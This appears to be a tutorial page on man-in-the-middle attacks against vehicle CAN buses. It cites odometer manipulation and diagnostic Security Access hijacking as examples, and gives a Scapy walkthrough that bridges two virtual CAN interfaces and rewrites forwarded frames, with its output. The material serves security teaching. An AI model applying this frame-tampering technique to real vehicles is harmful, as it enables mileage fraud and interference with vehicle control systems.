CAN MITM Attacks#

A CAN Man-in-the-Middle (MITM) attack is a form of cyber-intrusion in which an adversary intercepts and modifies the data packets being transmitted between nodes within a Controller Area Network (CAN) infrastructure. This can be achieved by physically introducing a rogue device onto the network, which separates a target device from the vehicle’s bus and forwards all communication to a special CAN bus for only the target device. The attacker can then manipulate the communication, disrupt normal operations, exfiltrate sensitive data, or even gain control of the affected devices.

  • Very useful to separate an ECU from a bus

  • CAN frames can be forwarded, blocked, or manipulated

  • Examples:

    • Mileage manipulation [And20]

    • Hijack of Security Access [Nol19]

  • Low-latency MITM attacks require special hardware (e.g. CAN-Badger)

  • General MITM attacks can be performed with two CAN adapters and userland applications (C-Application, Python / Scapy)

Mileage manipulation#

../../_images/can_filter.png

Fig. 31 For MB 18 in 1 CAN Filter For Mercedes-Benz/ForBMW Universal Emulator#

Figure from https://www.ebay.com/.

Hijack of Security Access#

../../_images/security_hijack.png

Fig. 32 Security Access Hijack. Author: Henrik Ferdinand Nölscher#

Figure from [Nol19].

MITM in Scapy#

In this example, we use vcan0 and vcan1 as interfaces.

  • Setup two CAN interfaces

sudo modprobe vcan
sudo ip link add name vcan0 type vcan
sudo ip link add name vcan1 type vcan
sudo ip link set dev vcan0 up
sudo ip link set dev vcan1 up
  • Import necessary modules in Scapy

import threading
from scapy.all import *
from scapy.layers.can import *
from scapy.contrib.cansocket import *
  • Create a forward function. Attack code need to be placed here.

def forwarding(pkt):
    pkt.data = b"ATTACKED"
    pkt.length = 8
    return pkt
  • Create attacker sockets and run MITM attack

bSocket0 = CANSocket('vcan0')
bSocket1 = CANSocket('vcan1')
sender_socket = CANSocket('vcan1')
receiver_socket = CANSocket('vcan0')

def bridge():
    print("MITM started")
    bridge_and_sniff(if1=bSocket0, if2=bSocket1, 
                     xfrm12=forwarding, xfrm21=forwarding, 
                     timeout=1, count=1)

receiver = AsyncSniffer(opened_socket=receiver_socket)  
bridger = threading.Thread(target=bridge)
bridger.start()
receiver.start()

pkt = CAN(identifier=0x123, data=b"hello u")
pkt.show()

sender_socket.send(pkt)

time.sleep(0.1)
rx_pkts = receiver.stop()

print(rx_pkts)
print(len(rx_pkts))
rx_pkts[0].show()
    
MITM started
###[ CAN ]###
  flags     = 
  identifier= 0x123
  length    = None
  reserved  = 0
  data      = b'hello u'

<Sniffed: TCP:0 UDP:0 ICMP:0 Other:1>
1
###[ CAN ]###
  flags     = 
  identifier= 0x123
  length    = 8
  reserved  = 0
  data      = b'ATTACKED'